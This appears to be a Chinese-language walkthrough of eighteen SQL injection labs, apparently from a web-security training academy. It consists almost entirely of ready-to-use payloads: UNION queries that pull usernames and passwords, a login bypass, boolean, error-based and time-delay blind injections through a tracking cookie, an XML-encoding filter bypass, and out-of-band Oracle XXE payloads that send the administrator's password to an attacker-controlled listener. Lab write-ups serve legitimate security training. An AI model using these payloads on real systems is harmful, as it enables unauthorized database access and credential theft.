实验1:WHERE条款中允许检索隐藏数据的SQL注入漏洞
1:在这个表中会把category=Corporate+gifts的数据查询出来
/filter?category=Corporate+gifts'--+
2:在这个表中会把category=Corporate+gifts的数据查询出来
/filter?category=Corporate+gifts' and 1=1 --+
3:在这个表中会把所有数据查询出来
/filter?category=Corporate+gifts'or 1=1 --+
实验2:允许登录绕过的SQL注入漏洞
1:在这个表中会把用户名administrator的数据查询出来
csrf=tWbmx9RBn0GK88QoEBwORdHxZkSKTLo6&username=administrator'--&password=123--+
2:在这个表中会把用户名administrator的数据查询出来
csrf=tWbmx9RBn0GK88QoEBwORdHxZkSKTLo6&username=administrator' and 1=1--+&password=123
3:在这个表中会把所有的数据查询出来
csrf=tWbmx9RBn0GK88QoEBwORdHxZkSKTLo6&username=administrator' or 1=1--+&password=123
实验3:SQL注入攻击,查询Oracle数据库类型和版本
1:我们使用’ and 1=1--+判断是否存在注入
/filter?category=Gifts'and 1=1--+
2:确定查询的字段数(列数)
从1开始,一直到3报错,所以字段数是2
/filter?category=Gifts' order by 2--+
3:确定查询的字段的数据类型
下面这个 语句不会报错,所以两个字段的数据类型都是字符型
/filter?category=Gifts' union select 'abc','def' from dual--+
4:在v$version这个表中查询banner这个字段数据即可看到数据库的版本
/filter?category=Gifts' union select banner,'def' from v$version --+
实验4:SQL注入攻击,查询MySQL和Microsoft数据库类型和版本
1:我们使用’ and 1=1--+判断是否存在注入
/filter?category=Pets' and 1=1--+
2:确定查询的字段数(列数)
从1开始,一直到3报错,所以字段数是2
/filter?category=Pets' order by 2--+
3:确定查询的字段的数据类型
下面这个 语句不会报错,所以两个字段的数据类型都是字符型
GET /filter?category=Pets' union select 'zbc','def'--+ HTTP/2
4:查询数据库版本信息
/filter?category=Pets' union select 'zbc',version()--+
实验5:SQL 注入攻击,列出非 Oracle 数据库的内容
1:我们使用’ and 1=1--+判断是否存在注入
/filter?category=Pets' and 1=1--+
2:确定查询的字段数(列数)
从1开始,一直到3报错,所以字段数是2
GET /filter?category=Pets' order by 2--+ HTTP/2
3:确定查询的字段的数据类型
下面这个 语句不会报错,所以两个字段的数据类型都是字符型
GET /filter?category=Pets' union select 'zbc','def'--+ HTTP/2
4:获取所有的数据库
/filter?category=Pets' union select 'abc-',schema_name from information_schema.schemata--+
5:获取public这个数据库中的所有表
/filter?category=Pets' union select 'abc-',table_name from information_schema.tables where table_schema='public'
6:获取public这个数据库中users_ijqbgg这个表中的所有字段
GET /filter?category=Pets' union select 'abc-',column_name from information_schema.columns where table_name='users_ijqbgg'--+ HTTP/2
7:获取public这个数据库中users_ijqbgg这个表username_xcktzc和password_xabvcj字段的值
/filter?category=Pets' union select username_xcktzc,password_xabvcj from users_ijqbgg--+
实验6:SQL 注入攻击,列出 Oracle 数据库内容
1:我们使用’ and 1=1--+判断是否存在注入
/filter?category=Gifts' and 1=1--+
2:确定查询的字段数(列数)
从1开始,一直到3报错,所以字段数是2
/filter?category=Gifts' order by 2--+
3:确定查询的字段的数据类型
下面这个语句不会报错,所以两个字段的数据类型都是字符型
/filter?category=Gifts' union select 'abc','def' from dual--+
4:查询所有的表
/filter?category=Gifts' union select 'abc-',table_name from all_tables
5:查询USERS_SFTASS这个表中的所有字段
/filter?category=Gifts' union select 'abc-',column_name from all_tab_columns where table_name='USERS_SFTASS'--+
6:获取USERS_SFTASS这个表中字段的值
/filter?category=Gifts' union select USERNAME_BVIESW,PASSWORD_PXTUCE from USERS_SFTASS--+
实验7:SQL注入UNION攻击,确定查询返回的列数
1:我们使用’ and 1=1--+判断是否存在注入
/filter?category=Pets' and 1=1--+
2:确定字段数
从1开始,一直到4报错,所以字段数是3
/filter?category=Pets' order by 3--+
3:确定字段的数据类型
GET /filter?category=Pets' union select '1','2','3'--+ HTTP/2
但是答案给的是用select null,null,null一直往上加来判断的,这两种方法都可以
实验8:SQL注入UNION攻击,发现包含文本的列
1:我们使用’ and 1=1--+判断是否存在注入
/filter?category=Pets' and 1=1--+
2:确定字段数
从1开始,一直到4报错,所以字段数是3
/filter?category=Pets' order by 3--+
3:确定字段的数据类型
以下语句并没有报错,所以三个字段的数据都是字符型
/filter?category=Pets' union select '1',null,null--+就这样慢慢往上加,如果报错就不是这个数据类型
/filter?category=Pets' union select '1','2','3'--+
实验9:SQL注入UNION攻击,从其他表获取数据
1:我们使用’ and 1=1--+判断是否存在注入
GET /filter?category=Gifts' and 1=1--+ HTTP/2
2:题目中给我们说了表以及字段直接使用,也可以用上面的方法一个个测试
GET /filter?category=Gifts' union select username,password from users--+ HTTP/2
实验10:SQL 注入 UNION 攻击,在单列中检索多个值
1:我们使用’ and 1=1--+判断是否存在注入
/filter?category=Gifts' and 1=1--+
2:确定查询的字段数(列数)
从1开始,一直到3报错,所以字段数是2
/filter?category=Gifts' order by 2--+
3:确定查询的字段的数据类型
下面这个语句不会报错,所以第一个字段是数值型,第二个字段是字符型
/filter?category=Gifts' union select 1,'def' --+
4:题目中给我们说了表以及字段直接使用,使用||'~'||进行字符连接
GET /filter?category=Gifts' union select 1,username||'~'||password from users--+ HTTP/2
实验11:带条件响应的盲目SQL注入(布尔盲注)
1:在cookie中修改id的值,页面显示welcome back
Cookie: TrackingId=AuyYPza6AmqcQrmu' and 1=1--;
2:在cookie中修改id的值,页面不显示welcome back
Cookie: TrackingId=AuyYPza6AmqcQrmu' and 1=2--;
3:由此上面两步可以判断是布尔盲注,如果查询有结果显示welcome back,如果没结果就不显示welcome back
4:因为题目给了用户名和对应的表了,我们直接判断用户名对应的密码是多少
5:判断administrator用户名对应的密码的长度
一直到20不显示,所以长度是20
Cookie: TrackingId=RdtZHsxj4GRe7gjK' and (select 'a' from users where username='administrator'and length(password)>20)='a;
6:判断administrator用户名对应的密码的值
使用bp进行爆破,判断出第一个字符是0,以此内推,判断出所有的20个字符,以下两个语句都可以
Cookie: TrackingId=RdtZHsxj4GRe7gjK' and (select 'a' from users where username='administrator'and substring(password,1,1)='0')='a;
或者
Cookie: TrackingId=m0lQ8qexW1Hkktbb' and (select substring(password,1,1) from users where username='administrator')='a;
7:用bp一个个爆破就可以了

实验12:带条件错误的盲SQL注入(报错盲注)
1:在cookie中我们输入'and 1=1--发现页面并没有变化
2:在cookie中我们输入'and 1=2--发现页面并没有变化,并且长度和and 1=1是相同的
由此上面两步可以排除联合注入和布尔盲注
3:在cookie中我们输入',但是无论我们输入什么错误类型,他都返回的是一个错误,那么我们可以总结出只要语句正确返回正常页面,语句错误返回错误信息,证明是报错盲注
5:我们可以猜他返回的字段数
使用order by ,我这里到2就报错了,说明是1
5:我们可以猜是什么类型的数据库
下面这个语句报错
Cookie: TrackingId=PmzzALZrfwa7RPS2'union select '1'--;
6:我们加上dual,页面返回正常
说明是Oracle数据库
Cookie: TrackingId=PmzzALZrfwa7RPS2'union select '1' from dual--;
4:我们猜表和表的字段,页面返回正常则语句正常
说明存在users这个表和username这个字段
Cookie: TrackingId=PmzzALZrfwa7RPS2' union select username from users;
5:猜这个是否有administrator这个用户
如果存在这个用户页面返回正常,如果不存在页面报错
Cookie: TrackingId=iFXAA3rop3wz5ynH' and case when (select username from users where username='administrator'and rownum=1)='administrator' then 1 else cast('abc' as number) end = 1 --;
6:接着我们就可以爆出这个用户名的密码
我一直到20就报错了,所以长度为20
Cookie: TrackingId=iFXAA3rop3wz5ynH' and case when length((select password from users where username='administrator'and rownum=1))>19 then 1 else cast('abc' as number) end = 1 --;
7:判断administrator用户名对应的密码的值
我们使用一下语句
Cookie: TrackingId=iFXAA3rop3wz5ynH' and case when substr((select password from users where username='administrator'and rownum=1),1,1)='h' then 1 else cast('abc' as number) end = 1 --;session=y6L0O17aJp1LBIFtEFBFou1uuE2i3UDW
8:我们直接使用bp爆破

实验13:可视化基于错误的SQL注入(报错注入)
1:在cookie中我们输入'and 1=1--发现页面并没有变化
2:在cookie中我们输入'and 1=2--发现页面并没有变化,并且长度和and 1=1是相同的
由此上面两步可以排除联合注入和布尔盲注
3:在cookie中我们输入'返回了错误信息,证明是报错注入
4:我们输入类型转换的函数进行报错
Cookie: TrackingId=r28OvDnDm8zfCmoh' and cast((select username from users) as int)=1--;
5:我们输入上面这个语句后,发现报错内容是长度被限制了,我们把cookie的值去掉试试
Cookie: TrackingId=' and cast((select username from users) as int)--; session=
6:我们输入上面这个语句后,发现报错内容and右边必须是布尔类型,我们加上=1试试
Cookie: TrackingId=' and cast((select username from users) as int)=1--;
7:我们输入上面这个语句后,发现报错内容查询出来很多行,我们加上limit 1试试
Cookie: TrackingId=' and cast((select username from users limit 1) as int)=1--;
8:成功爆出用户名administrator一个
9:接着爆出密码的第一行
Cookie: TrackingId=' and cast((select password from users limit 1) as int)=1--;
实验14:带时间延迟的盲目SQL注入
1:在cookie中我们输入'and 1=1--发现页面并没有变化
2:在cookie中我们输入'and 1=2--发现页面并没有变化,并且长度和and 1=1是相同的
3:在cookie中我们输入'页面没有任何变化,也不报错
由此上面三步可以排除联合注入,布尔盲注,报错注入以及报错盲注
4:我们就可以利用下面这个语句进行判断了
如果1=1则休眠10秒返回null=null,如果1不等于1则返回null=null
Cookie: TrackingId=2yDB5UHXDIEV0Dbu' and case when (1)=1 then pg_sleep(5) else null end is null--;
实验15:带有时间延迟和信息检索的盲SQL注入
1:在cookie中我们输入'and 1=1--发现页面并没有变化
2:在cookie中我们输入'and 1=2--发现页面并没有变化,并且长度和and 1=1是相同的
3:在cookie中我们输入'页面没有任何变化,也不报错
由此上面三步可以排除联合注入,布尔盲注,报错注入以及报错盲注
4:我们就可以利用下面这个语句进行判断了
如果1=1则休眠10秒返回null=null,如果1不等于1则返回null=null
Cookie: TrackingId=1WKMSLWjDYYAXzxW' and case when(1)=1 then pg_sleep(5) else null end is null--; session=w1KGX0rSAoQwJOogCTBBnX3oq9lCblu1
5:爆破用户和密码
下面这个语句有5秒延时所以判定有administrator这个用户
Cookie: TrackingId=1WKMSLWjDYYAXzxW' and case when(select username from users where username='administrator' limit 1)='administrator' then pg_sleep(5) else null end is null--;
6:爆破用户administrator的密码的长度
到20就秒回复了,证明长度是20
Cookie: TrackingId=1WKMSLWjDYYAXzxW' and case when length((select password from users where username='administrator' limit 1))>20 then pg_sleep(5) else null end is null--;
7:爆破用户administrator的密码的位数
使用以下语句爆破
Cookie: TrackingId=1WKMSLWjDYYAXzxW' and case when substring((select password from users where username='administrator' limit 1),1,1)='3' then pg_sleep(10) else null end is null--;session=w1KGX0rSAoQwJOogCTBBnX3oq9lCblu
8:最后使用bp进行爆破

实验16:带外交互的盲目SQL注入
1:在cookie中我们输入'and 1=1--发现页面并没有变化
2:在cookie中我们输入'and 1=2--发现页面并没有变化,并且长度和and 1=1是相同的
3:在cookie中我们输入'页面没有任何变化,也不报错
4:注入一个xml文件,sql语句解析的是时候,xml解析器解析了这个xml,使用http协议向我们的bp服务器发送请求,我们在bp就可以看到请求信息
Cookie: TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//你自己bp的地址/">+%25remote%3b]>'),'/l')+FROM+dual--;
实验17:带外数据外泄的盲目SQL注入
注入一个xml文件,sql语句解析的是时候,xml解析器解析了这个xml,使用http协议向我们的bp服务器发送请求,我们在bp就可以看到请求信息
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.你的bp地址/">+%25remote%3b]>'),'/l')+FROM+dual--
实验18:通过XML编码进行过滤环绕的SQL注入
直接使用编码绕过waf即可,xml解析的时候会对编码进行解码,这样就可以绕过waf了
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId><@dec_entities>1 union select username||'~'||password from users</@dec_entities></storeId></stockCheck>
2244

被折叠的 条评论
为什么被折叠?



